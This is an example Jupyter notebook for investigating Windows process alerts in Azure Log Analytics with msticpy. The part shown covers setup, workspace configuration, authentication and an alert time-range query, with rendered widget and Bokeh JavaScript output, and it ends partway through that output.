tutorials-and-examples/example-notebooks/Example - Guided Investigation - Process-Alerts.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Title: Alert Investigation (Windows Process Alerts)\n",
    "\n",
    "**Notebook Version:** 1.0<br>\n",
    "**Python Version:** Python 3.6 (including Python 3.6 - AzureML)<br>\n",
    "**Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, networkx, ipywidgets, ipython, scikit_learn<br>\n",
    "**Platforms Supported**:<br>\n",
    "- Azure Notebooks Free Compute\n",
    "- Azure Notebooks DSVM\n",
    "- OS Independent\n",
    "\n",
    "**Data Sources Required**:<br>\n",
    "- Log Analytics - SecurityAlert, SecurityEvent (EventIDs 4688 and 4624/25)\n",
    "- (Optional) - VirusTotal (with API key)\n",
    "\n",
    "## Description:\n",
    "This notebook is intended for triage and investigation of security alerts. It is specifically targeted at alerts triggered by suspicious process activity on Windows hosts. Some of the sections will work on other types of alerts but this is not guaranteed.\n",
    "\n",
    "<h2><font color=\"red\">Warning: Example Notebook - Not for production use!</font></h2>\n",
    "<font style=\"border-left: 6px solid red;background-color: lightgrey;\">\n",
    "<nbsp>&nbsp;This notebooks is meant to be illustrative of specific scenarios and is not actively maintained.&nbsp;<br></font>\n",
    "<font style=\"border-left: 6px solid red;background-color: lightgrey;\">\n",
    "&nbsp;It is unlikely to be runnable directly in your environment. Instead, please use the notebooks\n",
    "in the root of this repo.&nbsp;\n",
    "</font>\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='toc'></a>\n",
    "## Table of Contents\n",
    "- [Setup and Authenticate](#setup)\n",
    "\n",
    "- [Get Alerts List](#getalertslist)\n",
    "- [Choose an Alert to investigate](#enteralertid)\n",
    "  - [Extract Properties and entities from alert](#extractalertproperties)\n",
    "  - [Entity Graph](#entitygraph)\n",
    "- [Related Alerts](#related_alerts)\n",
    "- [Session Process Tree](#processtree)\n",
    "  - [Process Timeline](#processtimeline)\n",
    "- [Other Process on Host](#process_clustering)\n",
    "- [Check for IOCs in Commandline](#cmdlineiocs)\n",
    "  - [VirusTotal lookup](#virustotallookup)\n",
    "- [Alert command line - Occurrence on other hosts in subscription](#cmdlineonotherhosts)\n",
    "- [Host Logons](#host_logons)\n",
    "  - [Alert Account](#logonaccount)\n",
    "  - [Failed Logons](#failed_logons)\n",
    "- [Appendices](#appendices)\n",
    "  - [Saving data to Excel](#appendices)\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='setup'></a>[Contents](#toc)\n",
    "# Setup\n",
    "\n",
    "1. Make sure that you have installed packages specified in the setup (uncomment the lines to execute)\n",
    "2. There are some manual steps up to selecting the alert ID. After this most of the notebook can be executed sequentially\n",
    "3. Major sections should be executable independently (e.g. Alert Command line and Host Logons can be run skipping Session Process Tree)\n",
    "\n",
    "## Install Packages\n",
    "The first time this cell runs for a new Azure Notebooks project or local Python environment it will take several minutes to download and install the packages. In subsequent runs it should run quickly and confirm that package dependencies are already installed. Unless you want to upgrade the packages you can feel free to skip execution of the next cell.\n",
    "\n",
    "If you see any import failures (```ImportError```) in the notebook, please re-run this cell and answer 'y', then re-run the cell where the failure occurred. \n",
    "\n",
    "Note you may see some warnings about package incompatibility with certain packages. This does not affect the functionality of this notebook but you may need to upgrade the packages producing the warnings to a more recent version."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import sys\n",
    "import warnings\n",
    "\n",
    "warnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n",
    "\n",
    "MIN_REQ_PYTHON = (3,6)\n",
    "if sys.version_info < MIN_REQ_PYTHON:\n",
    "    print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n",
    "    print('or later is selected as the active kernel.')\n",
    "    sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n",
    "    \n",
    "# Package Installs - try to avoid if they are already installed\n",
    "try:\n",
    "    import msticpy.sectools as sectools\n",
    "    import Kqlmagic\n",
    "    print('If you answer \"n\" this cell will exit with an error in order to avoid the pip install calls,')\n",
    "    print('This error can safely be ignored.')\n",
    "    resp = input('msticpy and Kqlmagic packages are already loaded. Do you want to re-install? (y/n)')\n",
    "    if resp.strip().lower() != 'y':\n",
    "        sys.exit('pip install aborted - you may skip this error and continue.')\n",
    "    else:\n",
    "        print('After installation has completed, restart the current kernel and run '\n",
    "              'the notebook again skipping this cell.')\n",
    "except ImportError:\n",
    "    pass\n",
    "\n",
    "print('\\nPlease wait. Installing required packages. This may take a few minutes...')\n",
    "!pip install git+https://github.com/microsoft/msticpy --upgrade --user\n",
    "!pip install Kqlmagic --no-cache-dir --upgrade --user\n",
    "\n",
    "print('\\nTo ensure that the latest versions of the installed libraries '\n",
    "      'are used, please restart the current kernel and run '\n",
    "      'the notebook again skipping this cell.')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Import Python Packages"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Get WorkspaceId\n",
    "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {
    "scrolled": true
   },
   "outputs": [],
   "source": [
    "# Imports\n",
    "import sys\n",
    "MIN_REQ_PYTHON = (3,6)\n",
    "if sys.version_info < MIN_REQ_PYTHON:\n",
    "    print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n",
    "    print('or later is selected as the active kernel.')\n",
    "    sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n",
    "\n",
    "import numpy as np\n",
    "from IPython import get_ipython\n",
    "from IPython.display import display, HTML, Markdown\n",
    "import ipywidgets as widgets\n",
    "\n",
    "import matplotlib.pyplot as plt\n",
    "import seaborn as sns\n",
    "import networkx as nx\n",
    "sns.set()\n",
    "import pandas as pd\n",
    "pd.set_option('display.max_rows', 500)\n",
    "pd.set_option('display.max_columns', 50)\n",
    "pd.set_option('display.max_colwidth', 100)\n",
    " \n",
    "import msticpy.sectools as sectools\n",
    "import msticpy.nbtools as mas\n",
    "import msticpy.nbtools.kql as qry\n",
    "import msticpy.nbtools.nbdisplay as nbdisp\n",
    "\n",
    "# Some of our dependencies (networkx) still use deprecated Matplotlib\n",
    "# APIs - we can't do anything about it so suppress them from view\n",
    "from matplotlib import MatplotlibDeprecationWarning\n",
    "warnings.simplefilter(\"ignore\", category=MatplotlibDeprecationWarning)\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/markdown": [
       "Read Workspace configuration from local config.json for workspace **ASIHuntOMSWorkspaceV4**"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/markdown": [
       "**TENANT_ID**: 72f988bf-86f1-41af-91ab-2d7cd011db47"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/markdown": [
       "**SUBSCRIPTION_ID**: 40dcc8bf-0478-4f3b-b275-ed0a94f2c013"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/markdown": [
       "**RESOURCE_GROUP**: ASIHuntOMSWorkspaceRG"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/markdown": [
       "**WORKSPACE_ID**: 52b1ab41-869e-4138-9e40-2a4457f09bf0"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/markdown": [
       "**WORKSPACE_NAME**: ASIHuntOMSWorkspaceV4"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "import os\n",
    "from msticpy.nbtools.wsconfig import WorkspaceConfig\n",
    "ws_config_file = 'config.json'\n",
    "\n",
    "WORKSPACE_ID = None\n",
    "TENANT_ID = None\n",
    "try:\n",
    "    ws_config = WorkspaceConfig(ws_config_file)\n",
    "    display(Markdown(f'Read Workspace configuration from local config.json for workspace **{ws_config[\"workspace_name\"]}**'))\n",
    "    for cf_item in ['tenant_id', 'subscription_id', 'resource_group', 'workspace_id', 'workspace_name']:\n",
    "        display(Markdown(f'**{cf_item.upper()}**: {ws_config[cf_item]}'))\n",
    "                     \n",
    "    if ('cookiecutter' not in ws_config['workspace_id'] or\n",
    "            'cookiecutter' not in ws_config['tenant_id']):\n",
    "        WORKSPACE_ID = ws_config['workspace_id']\n",
    "        TENANT_ID = ws_config['tenant_id']\n",
    "except:\n",
    "    pass\n",
    "\n",
    "if not WORKSPACE_ID or not TENANT_ID:\n",
    "    display(Markdown('**Workspace configuration not found.**\\n\\n'\n",
    "                     'Please go to your Log Analytics workspace, copy the workspace ID'\n",
    "                     ' and/or tenant Id and paste here.<br> '\n",
    "                     'Or read the workspace_id from the config.json in your Azure Notebooks project.'))\n",
    "    ws_config = None\n",
    "    ws_id = mas.GetEnvironmentKey(env_var='WORKSPACE_ID',\n",
    "                              prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n",
    "    ten_id = mas.GetEnvironmentKey(env_var='TENANT_ID',\n",
    "                              prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n",
    "\n",
    "    "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Authenticate to Log Analytics\n",
    "If you are using user/device authentication, run the following cell. \n",
    "- Click the 'Copy code to clipboard and authenticate' button.\n",
    "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n",
    "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n",
    "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n",
    "\n",
    "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n",
    "```\n",
    "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n",
    "```\n",
    "instead of\n",
    "```\n",
    "%kql loganalytics://code().workspace(WORKSPACE_ID)\n",
    "```\n",
    "\n",
    "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.<br>\n",
    "On successful authentication you should see a ```popup schema``` button."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<!DOCTYPE html>\n",
       "                    <html><body><script>\n",
       "\n",
       "                        // close authentication window\n",
       "                        if (kql_MagicUserCodeAuthWindow && kql_MagicUserCodeAuthWindow.opener != null && !kql_MagicUserCodeAuthWindow.closed) {\n",
       "                            kql_MagicUserCodeAuthWindow.close()\n",
       "                        }\n",
       "                        // TODO: make sure, you clear the right cell. BTW, not sure it is a must to do any clearing\n",
       "\n",
       "                        // clear output cell\n",
       "                        Jupyter.notebook.clear_output(Jupyter.notebook.get_selected_index())\n",
       "\n",
       "                        // TODO: if in run all mode, move to last cell, otherwise move to next cell\n",
       "                        // move to next cell\n",
       "\n",
       "                    </script></body></html>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<!DOCTYPE html>\n",
       "            <html><body>\n",
       "\n",
       "            <button onclick=\"this.style.visibility='visible';kql_MagicLaunchWindowFunction('Kqlmagic_temp_files/_52b1ab41-869e-4138-9e40-2a4457f09bf0_at_loganalytics_schema.html','fullscreen=no,directories=no,location=no,menubar=no,resizable=yes,scrollbars=yes,status=no,titlebar=no,toolbar=no,','_52b1ab41_869e_4138_9e40_2a4457f09bf0_at_loganalytics_schema','')\">popup schema 52b1ab41-869e-4138-9e40-2a4457f09bf0@loganalytics</button>\n",
       "\n",
       "            <script>\n",
       "\n",
       "            function kql_MagicLaunchWindowFunction(file_path, window_params, window_name, notebooks_host) {\n",
       "                var url;\n",
       "                if (file_path.startsWith('http')) {\n",
       "                    url = file_path;\n",
       "                } else {\n",
       "                    var base_url = '';\n",
       "\n",
       "                    // check if azure notebook\n",
       "                    var azure_host = (notebooks_host == null || notebooks_host.length == 0) ? 'https://notebooks.azure.com' : notebooks_host;\n",
       "                    var start = azure_host.search('//');\n",
       "                    var azure_host_suffix = '.' + azure_host.substring(start+2);\n",
       "\n",
       "                    var loc = String(window.location);\n",
       "                    var end = loc.search(azure_host_suffix);\n",
       "                    start = loc.search('//');\n",
       "                    if (start > 0 && end > 0) {\n",
       "                        var parts = loc.substring(start+2, end).split('-');\n",
       "                        if (parts.length == 2) {\n",
       "                            var library = parts[0];\n",
       "                            var user = parts[1];\n",
       "                            base_url = azure_host + '/api/user/' +user+ '/library/' +library+ '/html/';\n",
       "                        }\n",
       "                    }\n",
       "\n",
       "                    // check if local jupyter lab\n",
       "                    if (base_url.length == 0) {\n",
       "                        var configDataScipt  = document.getElementById('jupyter-config-data');\n",
       "                        if (configDataScipt != null) {\n",
       "                            var jupyterConfigData = JSON.parse(configDataScipt.textContent);\n",
       "                            if (jupyterConfigData['appName'] == 'JupyterLab' && jupyterConfigData['serverRoot'] != null &&  jupyterConfigData['treeUrl'] != null) {\n",
       "                                var basePath = 'e:\\src\\Orion\\Notebooks' + '/';\n",
       "                                if (basePath.startsWith(jupyterConfigData['serverRoot'])) {\n",
       "                                    base_url = '/files/' + basePath.substring(jupyterConfigData['serverRoot'].length+1);\n",
       "                                }\n",
       "                            } \n",
       "                        }\n",
       "                    }\n",
       "\n",
       "                    // assume local jupyter notebook\n",
       "                    if (base_url.length == 0) {\n",
       "\n",
       "                        var parts = loc.split('/');\n",
       "                        parts.pop();\n",
       "                        base_url = parts.join('/') + '/';\n",
       "                    }\n",
       "                    url = base_url + file_path;\n",
       "                }\n",
       "\n",
       "                window.focus();\n",
       "                var w = screen.width / 2;\n",
       "                var h = screen.height / 2;\n",
       "                params = 'width='+w+',height='+h;\n",
       "                kql_Magic__52b1ab41_869e_4138_9e40_2a4457f09bf0_at_loganalytics_schema = window.open(url, window_name, window_params + params);\n",
       "            }\n",
       "            </script>\n",
       "\n",
       "            </body></html>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "if not WORKSPACE_ID or not TENANT_ID:\n",
    "    try:\n",
    "        WORKSPACE_ID = ws_id.value\n",
    "        TENANT_ID = ten_id.value\n",
    "    except NameError:\n",
    "        raise ValueError('No workspace or Tenant Id.')\n",
    "\n",
    "mas.kql.load_kql_magic()\n",
    "%kql loganalytics://code().tenant(TENANT_ID).workspace(WORKSPACE_ID)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='getalertslist'></a>[Contents](#toc)\n",
    "# Get Alerts List\n",
    "\n",
    "Specify a time range to search for alerts. One this is set run the following cell to retrieve any alerts in that time window.\n",
    "You can change the time range and re-run the queries until you find the alerts that you want."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "531aaf714736429aa47d04c1f384f4ae",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='<h4>Set query time boundaries</h4>')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "909f161640fb426aa0e166c3b472c7bd",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(DatePicker(value=datetime.date(2019, 2, 26), description='Origin Date'), Text(value='20:06:14.9…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "10e673c2dba844fbb6307f076482f029",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "alert_q_times = mas.QueryTime(units='day', max_before=20, before=5, max_after=1)\n",
    "alert_q_times.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "12  distinct alert types\n",
      "51  distinct alerts\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<h2>Alert Timeline</h2>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1001\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1001\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1001\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1001\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + 